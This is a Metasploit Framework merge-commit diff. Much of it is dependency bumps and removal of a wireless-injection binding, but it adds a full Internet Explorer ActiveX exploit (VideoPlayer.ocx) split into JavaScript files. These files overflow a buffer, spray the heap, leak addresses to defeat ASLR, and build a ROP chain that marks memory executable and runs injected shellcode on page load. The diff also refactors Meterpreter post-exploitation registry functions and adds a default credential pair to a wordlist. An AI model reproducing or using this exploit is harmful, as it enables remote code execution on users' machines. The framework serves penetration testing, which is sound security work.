Merge pull request #5 from jvazquez-r7/land_3323

Update with rapid7 master changes. I'll take a further look at this module and add version support to pick the best exploit path for differing tomcat versions.
bug/bundler_fix
Matthew Hall 2015-03-05 14:46:01 +00:00
commit 5b65811fb2
306 changed files with 14350 additions and 5806 deletions

View File

@ -25,7 +25,6 @@ script:
- git diff --exit-code && bundle exec rake $RAKE_TASKS
sudo: false
rvm:
- '1.9.3'
- '2.1'
notifications:

View File

@ -14,7 +14,7 @@ PATH
nokogiri
packetfu (= 1.1.9)
railties
rb-readline
rb-readline-r7
recog (~> 1.0)
robots
rubyzip (~> 1.1)
@ -22,9 +22,9 @@ PATH
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0)
metasploit-credential (~> 0.13.19)
metasploit-credential (~> 0.14.0)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 0.22.8)
metasploit_data_models (~> 0.23.0)
pg (>= 0.11)
metasploit-framework-pcap (4.11.0.pre.dev)
metasploit-framework (= 4.11.0.pre.dev)
@ -112,10 +112,10 @@ GEM
metasploit-concern (0.3.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
metasploit-credential (0.13.19)
metasploit-credential (0.14.0)
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.29.0)
metasploit_data_models (~> 0.22.8)
metasploit_data_models (~> 0.23.0)
pg
railties (< 4.0.0)
rubyntlm
@ -123,7 +123,7 @@ GEM
metasploit-model (0.29.0)
activesupport
railties (< 4.0.0)
metasploit_data_models (0.22.8)
metasploit_data_models (0.23.0)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
arel-helpers
@ -172,7 +172,7 @@ GEM
rdoc (~> 3.4)
thor (>= 0.14.6, < 2.0)
rake (10.4.2)
rb-readline (0.5.2)
rb-readline-r7 (0.5.2.0)
rdoc (3.12.2)
json (~> 1.4)
recog (1.0.16)

View File

@ -32,10 +32,6 @@ Copyright: 2003-2010 Mark Borgerding
2009-2012 H D Moore <hdm[at]rapid7.com>
License: BSD-3-clause
Files: external/ruby-lorcon/*
Copyright: 2005, dragorn and Joshua Wright
License: LGPL-2.1
Files: external/source/exploits/IE11SandboxEscapes/*
Copyright: James Forshaw, 2014
License: GPLv3

View File

@ -0,0 +1,126 @@
var Exploit = function () {
// create its vulnerable ActiveX object (as HTMLObjectElement)
this.obj = document.createElement("object");
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
// perform controlled memwrite to 0x1111f010: typed array header is at
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
// The first 3 dwords are sideeffects due to the code we abuse for the
// controlled memcpy
this.whereAddress = 0x1111f010;
this.memory = null;
this.addresses = new Object();
this.sprayer = null;
this.informer = null;
this.sc = "<%=shellcode%>";
};
Exploit.prototype.run = function() {
CollectGarbage();
this.sprayer = new Sprayer();
this.sprayer.spray();
this.memory = this.doCorruption();
//alert(this.memory.length.toString(16))
if (this.memory.length != 0x7fffffff){
//alert("Cannot change Uint32Array length");
return -1;
}
// now we could even repair the change we did with memcpy ...
this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
var leakSuccess = this.leakAddresses();
if (leakSuccess != 0) {
//alert("Cannot leak required address to build the ROP chain");
return leakSuccess;
}
var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
ropBuilder.buildRop();
// manipulate object data to gain EIP control with "Play" method
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call
// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
this.obj.Play()
};
Exploit.prototype.prepareOverflow = function() {
// prepare buffer with address we want to write to
var ptrBuf = "";
// fill buffer: length = relative pointer address - buffer start + pointer
// offset
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
ptrBuf += this.dword2str(this.whereAddress);
return ptrBuf;
};
Exploit.prototype.doCorruption = function() {
var ptrBuf = this.prepareOverflow();
// trigger: overflow buffer and overwrite the pointer value after buffer
this.obj.SetText(ptrBuf, 0, 0);
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
// use overwritten pointer after buffer with method "SetFontName" to conduct
// memory write. We overwrite a typed array's header length to 0x40 and let
// its buffer point to the next typed array header at 0x1111f030 (see above)
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE
if (this.sprayer.find() == -1){
//alert("cannot find corrupted Uint32Array");
return -1
}
// modify subsequent Uint32Array to be able to RW all process memory
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem
// our memory READWRITE interface :)
return this.sprayer.fullMemory;
};
Exploit.prototype.leakAddresses = function() {
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);
this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);
// check if we have the image of VideoPlayer.ocx
// check for MZ9000 header and "Vide" string at offset 0x6a000
if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
//alert("Cannot find VideoPlayer.ocx base or its version is wrong");
return -1;
}
//alert(this.addresses['base'].toString(16))
// get VirtualAlloc from imports of VideoPlayer.ocx
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
// memcpy is available inside VideoPlayer.ocx
this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))
scBuf = new Uint8Array(this.sc.length);
for (n=0; n < this.sc.length; n++){
scBuf[n] = this.sc.charCodeAt(n);
}
this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);
return 0;
};
// dword to little endian string
Exploit.prototype.dword2str = function(dword) {
var str = "";
for (var n=0; n < 4; n++){
str += String.fromCharCode((dword >> 8 * n) & 0xff);
}
return str;
};

View File

@ -0,0 +1,52 @@
var Informer = function(infArray, mem, ref) {
this.infoLeakArray = infArray;
this.memoryArray = mem;
this.referenceAddress = ref;
};
// Calculate VideoPlayer.ocx base
Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) {
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
//alert(mem[0x11120020/4].toString(16))
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64
// deref heap pointer containing VideoPlayer.ocx pointer
var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4];
var base = videoplayerPtr - 0x6b3b0; // calculate base
return base;
};
// Calculate VideoPlayer object addres
Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) {
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
//alert(mem[0x11120020/4].toString(16))
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
return objPtr;
};
// Calculate the shellcode address
Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) {
this.infoLeakArray[0] = shellcodeBuffer;
// therefore, leak array element at 0x11120020 (typed array header of
// Uint8Array containing shellcode) ...
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
// ...and deref array element + 0x1c (=> leak shellcode's buffer address)
var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7]
return shellcodeAddr;
};
Informer.prototype.leakRopAddress = function(ropArray) {
this.infoLeakArray[0] = ropArray
// leak array element at 0x11120020 (typed array header)
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
// deref array element + 0x1c (leak rop's buffer address)
var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address
return ropAddr;
};

View File

@ -0,0 +1,38 @@
var RopBuilder = function(informer, addresses, scLength) {
this.rop = new Uint32Array(0x1000);
this.ropAddress = informer.leakRopAddress(this.rop);
this.base = addresses['base'];
this.virtualAlloc = addresses['virtualAlloc'];
this.memcpy = addresses['memcpy'];
this.scAddr = addresses['shellcode'];
this.scLength = scLength;
};
// Build the ROP chain to bypass DEP
RopBuilder.prototype.buildRop = function() {
// ROP chain (rets in comments are omitted)
// we perform:
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
// memcpy(EAX, shellcode, shellcodeLen)
// (void(*)())EAX()
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7
this.rop[offs + 0x3] = 0; // lpAddress
this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000)
this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT)
this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE)
this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2)
this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem
this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX;
this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain
this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem
this.rop[offs + 0xc] = this.memcpy;
this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime
this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime
this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2)
this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3)
};

View File

@ -0,0 +1,58 @@
var Sprayer = function () {
// amount of arrays to create on the heap
this.nrArrays = 0x1000;
// size of data in one array block: 0xefe0 bytes =>
// subract array header (0x20) and space for typed array headers (0x1000)
// from 0x10000
this.arrSize = (0x10000-0x20-0x1000)/4;
// heap array container will hold our heap sprayed data
this.arr = new Array(this.nrArrays);
// use one buffer for all typed arrays
this.intArrBuf = new ArrayBuffer(4);
this.corruptedArray = null;
this.corruptedArrayNext = null;
};
// Spray the heap with array data blocks and subsequent typed array headers
// of type Uint32Array
Sprayer.prototype.spray = function() {
var k = 0;
while(k < this.nrArrays) {
// create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
// aligned at 0xXXXX0020)
this.arr[k] = new Array(this.arrSize);
// fill remaining page (0x1000) after array data with headers of
// "jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a
// typed array header has the size of 0x30. 0x10 bytes are left empty
for(var i = 0; i < 0x55; i++){
// headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,...
this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1);
}
// tag the array's last element
this.arr[k][this.arrSize - 1] = 0x12121212;
k += 1;
}
};
// Find the corrupted Uint32Array (typed array)
Sprayer.prototype.find = function() {
var k = 0;
while(k < this.nrArrays - 1) {
for(var i = 0; i < 0x55-1; i++){
if(this.arr[k][i][0] != 0){
// address of jscript9!Js::TypedArray<unsigned int>::`vftable'
// alert("0x" + arr[k][i][0].toString(16))
this.corruptedArray = this.arr[k][i];
this.corruptedArrayNext = this.arr[k+1];
this.fullMemory = this.arr[k][i+1];
return 1;
}
}
k++;
}
return -1;
};

View File

@ -0,0 +1,11 @@
<!DOCTYPE html>
<html>
<head>
<script src="js/exploit.js"></script>
<script src="js/sprayer.js"></script>
<script src="js/informer.js"></script>
<script src="js/rop_builder.js"></script>
</head>
<body onload="e = new Exploit(); e.run();">
</body>
</html>

Binary file not shown.

Binary file not shown.

View File

@ -1334,10 +1334,12 @@ def stdapi_net_socket_tcp_shutdown(request, response):
channel.shutdown(how)
return ERROR_SUCCESS, response
def _wreg_close_key(hkey):
ctypes.windll.advapi32.RegCloseKey(hkey)
@meterpreter.register_function_windll
def stdapi_registry_close_key(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
result = ctypes.windll.advapi32.RegCloseKey(hkey)
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
@ -1372,11 +1374,9 @@ def stdapi_registry_delete_value(request, response):
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_key(request, response):
def _wreg_enum_key(request, response, hkey):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
name = (ctypes.c_char * 4096)()
index = 0
tries = 0
@ -1399,10 +1399,22 @@ def stdapi_registry_enum_key(request, response):
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_value(request, response):
def stdapi_registry_enum_key(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _wreg_enum_key(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_enum_key_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _wreg_enum_key(request, response, hkey)
_wreg_close_key(hkey)
return ret
def _wreg_enum_value(request, response, hkey):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
name = (ctypes.c_char * 4096)()
name_sz = ctypes.c_uint32()
index = 0
@ -1426,6 +1438,20 @@ def stdapi_registry_enum_value(request, response):
index += 1
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _wreg_enum_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_enum_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _wreg_enum_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
@meterpreter.register_function_windll
def stdapi_registry_load_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
@ -1434,16 +1460,22 @@ def stdapi_registry_load_key(request, response):
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
return result, response
@meterpreter.register_function_windll
def stdapi_registry_open_key(request, response):
def _wreg_open_key(request):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
handle_id = ctypes.c_void_p()
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
return error_result_windows(), 0
return ERROR_SUCCESS, handle_id.value
@meterpreter.register_function_windll
def stdapi_registry_open_key(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
response += tlv_pack(TLV_TYPE_HKEY, hkey)
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
@ -1467,9 +1499,7 @@ def stdapi_registry_query_class(request, response):
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
def stdapi_registry_query_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
def _query_value(request, response, hkey):
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = ctypes.c_uint32()
@ -1496,8 +1526,20 @@ def stdapi_registry_query_value(request, response):
return error_result_windows(), response
@meterpreter.register_function_windll
def stdapi_registry_set_value(request, response):
def stdapi_registry_query_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _query_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_query_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _query_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
def _set_value(request, response, hkey):
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
@ -1505,6 +1547,20 @@ def stdapi_registry_set_value(request, response):
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_set_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _set_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_set_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _set_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
@meterpreter.register_function_windll
def stdapi_registry_unload_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']

View File

@ -5,3 +5,4 @@ root owaspbwa
ADMIN ADMIN
xampp xampp
tomcat s3cret
QCC QLogic66

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20150205192745) do
ActiveRecord::Schema.define(:version => 20150212214222) do
create_table "api_keys", :force => true do |t|
t.text "token"
@ -454,6 +454,7 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
t.text "info"
end
add_index "services", ["host_id", "port", "proto"], :name => "index_services_on_host_id_and_port_and_proto", :unique => true
add_index "services", ["name"], :name => "index_services_on_name"
add_index "services", ["port"], :name => "index_services_on_port"
add_index "services", ["proto"], :name => "index_services_on_proto"

View File

@ -1,525 +0,0 @@
#include "Lorcon.h"
#include "ruby.h"
/*
self.license = GPLv2;
*/
/*
This is a derivative of the tx.c sample included with lorcon:
http://802.11ninja.net/lorcon/
lorcon is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
lorcon is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with lorcon; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Copyright (c) 2005 dragorn and Joshua Wright
*/
/*
Lots of code borrowed from Tom Wambold's pylorcon:
http://pylorcon.googlecode.com/ - tom5760[at]gmail.com
*/
/*
All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007
http://metasploit.com/ - msfdev[at]metasploit.com
*/
VALUE mLorcon;
VALUE cDevice;
VALUE lorcon_get_version(VALUE self) {
return INT2NUM(tx80211_getversion());
}
VALUE lorcon_cap_to_list(int cap) {
VALUE list;
list = rb_ary_new();
if ((cap & TX80211_CAP_SNIFF) != 0)
rb_ary_push(list, rb_str_new2("SNIFF"));
if ((cap & TX80211_CAP_TRANSMIT) != 0)
rb_ary_push(list, rb_str_new2("TRANSMIT"));
if ((cap & TX80211_CAP_SEQ) != 0)
rb_ary_push(list, rb_str_new2("SEQ"));
if ((cap & TX80211_CAP_BSSTIME) != 0)
rb_ary_push(list, rb_str_new2("BSSTIME"));
if ((cap & TX80211_CAP_FRAG) != 0)
rb_ary_push(list, rb_str_new2("FRAG"));
if ((cap & TX80211_CAP_CTRL) != 0)
rb_ary_push(list, rb_str_new2("CTRL"));
if ((cap & TX80211_CAP_DURID) != 0)
rb_ary_push(list, rb_str_new2("DURID"));
if ((cap & TX80211_CAP_SNIFFACK) != 0)
rb_ary_push(list, rb_str_new2("SNIFFACK"));
if ((cap & TX80211_CAP_SELFACK) != 0)
rb_ary_push(list, rb_str_new2("SELFACK"));
if ((cap & TX80211_CAP_TXNOWAIT) != 0)
rb_ary_push(list, rb_str_new2("TXNOWAIT"));
if ((cap & TX80211_CAP_DSSSTX) != 0)
rb_ary_push(list, rb_str_new2("DSSSTX"));
if ((cap & TX80211_CAP_OFDMTX) != 0)
rb_ary_push(list, rb_str_new2("OFDMTX"));
if ((cap & TX80211_CAP_MIMOTX) != 0)
rb_ary_push(list, rb_str_new2("MIMOTX"));
if ((cap & TX80211_CAP_SETRATE) != 0)
rb_ary_push(list, rb_str_new2("SETRATE"));
if ((cap & TX80211_CAP_SETMODULATION) != 0)
rb_ary_push(list, rb_str_new2("SETMODULATION"));
if ((cap & TX80211_CAP_NONE) != 0)
rb_ary_push(list, rb_str_new2("NONE"));
return list;
}
static VALUE lorcon_driver_list(VALUE self) {
VALUE list;
VALUE hash;
struct tx80211_cardlist *cards = NULL;
int i;
list = rb_hash_new();
cards = tx80211_getcardlist();
if (cards == NULL) {
return(Qnil);
}
for (i = 1; i < cards->num_cards; i++) {
hash = rb_hash_new();
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(cards->cardnames[i]));
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(cards->descriptions[i]));
rb_hash_aset(hash, rb_str_new2("capabilities"), lorcon_cap_to_list(cards->capabilities[i]));
rb_hash_aset(list, rb_str_new2(cards->cardnames[i]), hash);
}
tx80211_freecardlist(cards);
return(list);
}
static VALUE lorcon_device_get_channel(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return INT2NUM(tx80211_getchannel(&rld->in_tx));
}
static VALUE lorcon_device_set_channel(VALUE self, VALUE channel) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
tx80211_setchannel(&rld->in_tx, NUM2INT(channel));
return INT2NUM(tx80211_getchannel(&rld->in_tx));
}
void lorcon_device_free(struct rldev *rld) {
if (tx80211_getmode(&rld->in_tx) >= 0) {
tx80211_close(&rld->in_tx);
}
free(&rld->in_tx);
}
static VALUE lorcon_device_get_mode(VALUE self) {
struct rldev *rld;
int mode;
Data_Get_Struct(self, struct rldev, rld);
mode = tx80211_getmode(&rld->in_tx);
if (mode < 0) {
rb_raise(rb_eArgError, "Lorcon could not determine the mode of this device: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
switch (mode) {
case TX80211_MODE_AUTO:
return rb_str_new2("AUTO");
break;
case TX80211_MODE_ADHOC:
return rb_str_new2("ADHOC");
break;
case TX80211_MODE_INFRA:
return rb_str_new2("INFRA");
break;
case TX80211_MODE_MASTER:
return rb_str_new2("MASTER");
break;
case TX80211_MODE_REPEAT:
return rb_str_new2("REPEAT");
break;
case TX80211_MODE_SECOND:
return rb_str_new2("SECOND");
break;
case TX80211_MODE_MONITOR:
return rb_str_new2("MONITOR");
break;
default:
return Qnil;
break;
}
}
static VALUE lorcon_device_set_mode(VALUE self, VALUE rmode) {
struct rldev *rld;
char *setmode = StringValuePtr(rmode);
int mode = -1;
Data_Get_Struct(self, struct rldev, rld);
if (strcmp(setmode, "AUTO") == 0) {
mode = TX80211_MODE_AUTO;
} else if (strcmp(setmode, "ADHOC") == 0) {
mode = TX80211_MODE_ADHOC;
} else if (strcmp(setmode, "INFRA") == 0) {
mode = TX80211_MODE_INFRA;
} else if (strcmp(setmode, "MASTER") == 0) {
mode = TX80211_MODE_MASTER;
} else if (strcmp(setmode, "REPEAT") == 0) {
mode = TX80211_MODE_REPEAT;
} else if (strcmp(setmode, "SECOND") == 0) {
mode = TX80211_MODE_SECOND;
} else if (strcmp(setmode, "MONITOR") == 0) {
mode = TX80211_MODE_MONITOR;
} else {
rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return INT2NUM(tx80211_setmode(&rld->in_tx, mode));
}
static VALUE lorcon_device_set_functional_mode(VALUE self, VALUE rmode) {
struct rldev *rld;
char *funcmode = StringValuePtr(rmode);
int mode = -1;
Data_Get_Struct(self, struct rldev, rld);
if (strcmp(funcmode, "RFMON") == 0) {
mode = TX80211_FUNCMODE_RFMON;
} else if (strcmp(funcmode, "INJECT") == 0) {
mode = TX80211_FUNCMODE_INJECT;
} else if (strcmp(funcmode, "INJMON") == 0) {
mode = TX80211_FUNCMODE_INJMON;
} else {
rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
if (tx80211_setfunctionalmode(&rld->in_tx, mode) != 0) {
rb_raise(rb_eArgError, "Lorcon could not set the functional mode: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return Qtrue;
}
static VALUE lorcon_device_get_txrate(VALUE self) {
struct rldev *rld;
int txrate;
txrate = tx80211_gettxrate(&rld->in_packet);
Data_Get_Struct(self, struct rldev, rld);
switch (txrate) {
case TX80211_RATE_DEFAULT:
return UINT2NUM(0);
break;
case TX80211_RATE_1MB:
return UINT2NUM(1);
break;
case TX80211_RATE_2MB:
return UINT2NUM(2);
break;
case TX80211_RATE_5_5MB:
return UINT2NUM(5);
break;
case TX80211_RATE_6MB:
return UINT2NUM(6);
break;
case TX80211_RATE_9MB:
return UINT2NUM(9);
break;
case TX80211_RATE_11MB:
return UINT2NUM(11);
break;
case TX80211_RATE_24MB:
return UINT2NUM(24);
break;
case TX80211_RATE_36MB:
return UINT2NUM(36);
break;
case TX80211_RATE_48MB:
return UINT2NUM(48);
break;
case TX80211_RATE_108MB:
return UINT2NUM(108);
break;
default:
rb_raise(rb_eArgError, "Lorcon could not determine the tx rate: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return Qnil;
}
static VALUE lorcon_device_set_txrate(VALUE self, VALUE rrate) {
struct rldev *rld;
float settxrate = -1;
int txrate = -1;
Data_Get_Struct(self, struct rldev, rld);
if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETRATE) == 0) {
rb_raise(rb_eArgError, "Lorcon does not support setting the tx rate for this card");
return(Qnil);
}
settxrate = NUM2DBL(rrate);
if (settxrate == -1) {
txrate = TX80211_RATE_DEFAULT;
} else if (settxrate == 1) {
txrate = TX80211_RATE_1MB;
} else if (settxrate == 2) {
txrate = TX80211_RATE_2MB;
} else if (settxrate == 5.5) {
txrate = TX80211_RATE_5_5MB;
} else if (settxrate == 6) {
txrate = TX80211_RATE_6MB;
} else if (settxrate == 9) {
txrate = TX80211_RATE_9MB;
} else if (settxrate == 11) {
txrate = TX80211_RATE_11MB;
} else if (settxrate == 24) {
txrate = TX80211_RATE_24MB;
} else if (settxrate == 36) {
txrate = TX80211_RATE_36MB;
} else if (settxrate == 48) {
txrate = TX80211_RATE_48MB;
} else if (settxrate == 108) {
txrate = TX80211_RATE_108MB;
} else {
rb_raise(rb_eArgError, "Lorcon does not support this rate setting");
return(Qnil);
}
if (tx80211_settxrate(&rld->in_tx, &rld->in_packet, txrate) < 0) {
rb_raise(rb_eArgError, "Lorcon could not set the tx rate: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return INT2NUM(txrate);
}
static VALUE lorcon_device_get_modulation(VALUE self) {
struct rldev *rld;
int mod;
Data_Get_Struct(self, struct rldev, rld);
mod = tx80211_getmodulation(&rld->in_packet);
switch (mod) {
case TX80211_MOD_DEFAULT:
return rb_str_new2("DEFAULT");
break;
case TX80211_MOD_FHSS:
return rb_str_new2("FHSS");
break;
case TX80211_MOD_DSSS:
return rb_str_new2("DSSS");
break;
case TX80211_MOD_OFDM:
return rb_str_new2("OFDM");
break;
case TX80211_MOD_TURBO:
return rb_str_new2("TURBO");
break;
case TX80211_MOD_MIMO:
return rb_str_new2("MIMO");
break;
case TX80211_MOD_MIMOGF:
return rb_str_new2("MIMOGF");
break;
default:
rb_raise(rb_eArgError, "Lorcon could not get the modulation value");
return(Qnil);
}
return(Qnil);
}
static VALUE lorcon_device_set_modulation(VALUE self, VALUE rmod) {
struct rldev *rld;
char *setmod = NULL;
int mod;
Data_Get_Struct(self, struct rldev, rld);
if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETMODULATION) == 0) {
rb_raise(rb_eArgError, "Lorcon does not support setting the modulation for this card");
return(Qnil);
}
setmod = StringValuePtr(rmod);
if (strcmp(setmod, "DEFAULT") == 0) {
mod = TX80211_MOD_DEFAULT;
} else if (strcmp(setmod, "FHSS") == 0) {
mod = TX80211_MOD_FHSS;
} else if (strcmp(setmod, "DSSS") == 0) {
mod = TX80211_MOD_DSSS;
} else if (strcmp(setmod, "OFDM") == 0) {
mod = TX80211_MOD_OFDM;
} else if (strcmp(setmod, "TURBO") == 0) {
mod = TX80211_MOD_TURBO;
} else if (strcmp(setmod, "MIMO") == 0) {
mod = TX80211_MOD_MIMO;
} else if (strcmp(setmod, "MIMOGF") == 0) {
mod = TX80211_MOD_MIMOGF;
} else {
rb_raise(rb_eArgError, "Lorcon does not support this modulation setting");
return(Qnil);
}
if (tx80211_setmodulation(&rld->in_tx, &rld->in_packet, mod) < 0) {
